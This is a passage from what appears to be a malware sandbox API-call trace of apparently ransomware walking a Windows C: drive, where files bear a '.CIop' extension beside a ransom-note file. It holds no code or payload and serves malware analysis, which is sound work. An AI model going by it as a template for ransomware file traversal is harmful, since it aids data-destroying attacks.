returned="C:\\" [0158.867] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0158.867] SetErrorMode (uMode=0x1) returned 0x1 [0158.867] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0158.868] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0158.868] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0158.868] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0158.868] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.868] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0158.868] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0158.869] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.869] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0158.869] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0158.869] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0158.870] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0158.870] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0158.870] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0158.870] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.870] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0158.870] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0158.870] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.871] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.871] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0158.871] SetErrorMode (uMode=0x1) returned 0x1 [0158.871] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0158.871] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0158.871] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0158.871] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0158.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.871] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0158.872] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0158.872] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.872] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0158.872] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0158.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0158.872] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0158.872] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0158.872] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.873] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.873] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0158.873] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0158.873] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.873] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.873] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0158.873] SetErrorMode (uMode=0x1) returned 0x1 [0158.873] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0158.873] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0158.874] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0158.874] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0158.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.874] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0158.874] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0158.874] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.874] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0158.874] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0158.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.875] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0158.875] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0158.875] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.875] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0158.875] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0158.875] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.876] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.876] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0158.876] SetErrorMode (uMode=0x1) returned 0x1 [0158.876] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0158.876] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0158.876] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0158.876] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0158.876] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0158.876] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0158.876] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0158.876] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.877] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0158.877] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0158.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.877] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0158.877] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0158.877] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.877] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.877] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0158.877] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0158.877] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.877] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.877] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0158.878] SetErrorMode (uMode=0x1) returned 0x1 [0158.878] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0158.878] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0158.878] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0158.878] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0158.878] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0158.878] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0158.878] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0158.878] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.879] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.879] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.879] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0158.879] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0158.879] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0158.880] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0158.880] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0158.880] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.880] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.880] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.880] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0158.880] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0158.880] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0158.880] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0158.880] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0158.880] SetErrorMode (uMode=0x1) returned 0x1 [0158.880] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0158.880] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0158.880] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0158.881] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0158.881] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0158.881] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0158.881] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.881] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0158.881] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0158.881] lstrlenW (lpString=".CIop") returned 5 [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.881] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.881] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.881] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.881] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0158.881] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0158.881] lstrlenW (lpString=".CIop") returned 5 [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.881] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0158.881] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0158.881] lstrlenW (lpString=".CIop") returned 5 [0158.881] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0158.882] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.882] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0158.882] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0158.882] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0158.882] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0158.882] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0158.882] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.882] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.882] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0158.882] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.883] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.883] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.883] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.883] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.883] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.883] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0158.883] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0158.883] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.883] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.883] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0158.883] SetErrorMode (uMode=0x1) returned 0x1 [0158.883] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0158.883] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0158.884] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0158.884] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0158.884] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0158.884] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0158.884] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0158.884] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.884] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0158.884] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0158.884] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0158.884] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0158.884] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0158.884] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.884] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0158.884] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0158.884] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0158.884] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0158.884] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0158.884] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.884] SetErrorMode (uMode=0x1) returned 0x1 [0158.884] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.884] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0158.885] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0158.885] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0158.885] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.885] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0158.885] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.885] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.885] lstrlenW (lpString="desktop.ini") returned 11 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0158.885] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0158.885] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0158.886] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.886] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0158.886] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0158.886] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0158.886] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0158.886] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.886] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.886] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0158.886] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0158.886] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.886] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0158.886] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0158.886] SetErrorMode (uMode=0x1) returned 0x1 [0158.886] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0158.886] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0158.886] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0158.886] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0158.886] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e838 [0158.886] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0158.886] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0158.886] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.887] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0158.887] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0158.887] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0158.887] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0158.887] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0158.887] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0158.887] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.887] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0158.887] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0158.887] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.887] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0158.887] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.887] SetErrorMode (uMode=0x1) returned 0x1 [0158.887] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.887] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.887] lstrcpyW 